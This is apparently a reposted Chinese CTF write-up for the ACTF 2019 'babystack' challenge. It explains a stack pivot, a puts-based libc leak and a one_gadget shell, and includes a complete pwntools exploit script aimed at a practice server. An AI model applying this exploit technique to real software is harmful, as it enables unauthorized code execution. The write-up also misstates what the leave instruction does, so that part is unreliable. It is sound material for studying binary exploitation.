zoukankan      html  css  js  c++  java
  • actf_2019_babystack | stack pivoting

    静态分析

    查看保护机制

    IDA分析

    存在有限栈溢出,可以输入 0xE0 字节的数据,而 s 在栈上只有 0xD0 的空间

    由于没有开启 Canary,常规做法是 ROP,但是由于溢出字节长度的限制,需要进行一次栈迁移再进行

    栈迁移的核心思路是把 esp&ebp 寄存器的地址改到到一个可读可写的空间上(比如堆栈)

    这道题直接显式输出的栈空间的地址,所以考虑把 ROP 的代码直接迁移到本栈上(由于开启了 NX 保护不能直接写 shellcodce,所以要用 gadgets)

    具体实现

    汇编指令 leave 和 ret 的本质:

    leave:
          push ebp
          mov ebp, esp
    ret:
          pop eip
    

    首先看 payload:

    payload = 'a'*0x8 + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(0x400800)
    payload = payload.ljust(0xD0, 'a')
    payload += p64(stack_addr) + p64(leave_ret)
    

    利用栈溢出把主函数栈的 ebp 覆写成 s 的地址,ret_addr 覆写成 leave + ret 的 gadget

    在执行 leave 的时候会把 esp 修改成 s 的地址,在执行 ret 的时候会把程序控制流劫持到栈上执行栈上

    payload 的前半段是我们精心构造的 ROP,第一次注入用于泄露 puts 函数地址从而泄露 libc 地址

    执行完毕后由返回 main(0x400800) 带着 one_gadget 准备进行第二次注入

    payload 中的 'a'*0x8 是 Fake_ebp,在这里是无用的数据,要注意每次注入的时候要保证 payload 长度为 0xD0 + 0x10 = 0xE0

    EXP

    from pwn import *
    context.log_level = 'debug'
    #io = process('./ACTF_2019_babystack')
    io = remote('node3.buuoj.cn', '27528')
    e = ELF('./ACTF_2019_babystack')
    libc = ELF('./libc-2.27.so')
    
    def debug():
        gdb.attach(io)
        puase()
    
    pop_rdi_ret = 0x400ad3
    leave_ret = 0x400A18
    
    io.sendlineafter('>', '224')
    io.recvuntil('0x')
    stack_addr = int(io.recv(12), 16)
    log.success('stack addr: '+hex(stack_addr))
    
    payload = 'a'*0x8 + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(0x400800)
    payload = payload.ljust(0xD0, 'a')
    payload += p64(stack_addr) + p64(leave_ret)
    
    io.send(payload)
    io.recvuntil('Byebye~
    ')
    libc_address = u64(io.recv(6).ljust(8, 'x00')) - libc.symbols['puts']
    log.success('libc addr: '+hex(libc_address))
    
    bin_sh_addr = libc_address + libc.search('/bin/sh').next()
    system_addr = libc_address + libc.symbols['system']
    
    sleep(4)
    
    io.sendlineafter('>', '224')
    io.recvuntil('0x')
    stack_addr = int(io.recv(12), 16)
    log.success('stack addr: '+hex(stack_addr))
    
    #debug()
    '''
    0x4f2c5 execve('/bin/sh', rsp+0x40, environ)
    constraints:
      rcx == NULL
    
    0x4f322 execve('/bin/sh', rsp+0x40, environ)
    constraints:
      [rsp+0x40] == NULL
    
    0x10a38c execve('/bin/sh', rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''
    
    one_gadget = libc_address + 0x4f2c5
    
    payload = 'a'*0x8 + p64(one_gadget) + payload.ljust(0xD0, 'a')
    payload += p64(stack_addr) + p64(leave_ret)
    io.send(payload)
    
    io.interactive()
    
  • 相关阅读:
    函数嵌套 lisp表达式求值
    初涉时间间隔问题
    高精度算法-带小数大数相加
    12/10 C语言程序设计竞赛 后五题
    字符串头尾连接问题-木棒连接
    ZJGSU-ACM OJ 心得
    高精度算法-大数乘法
    趣味两题-(简单追及问题、两直线相交问题)
    struts2基于注解的action
    spring中常用的注解
  • 原文地址:https://www.cnblogs.com/zhwer/p/14291465.html
Copyright © 2011-2022 走看看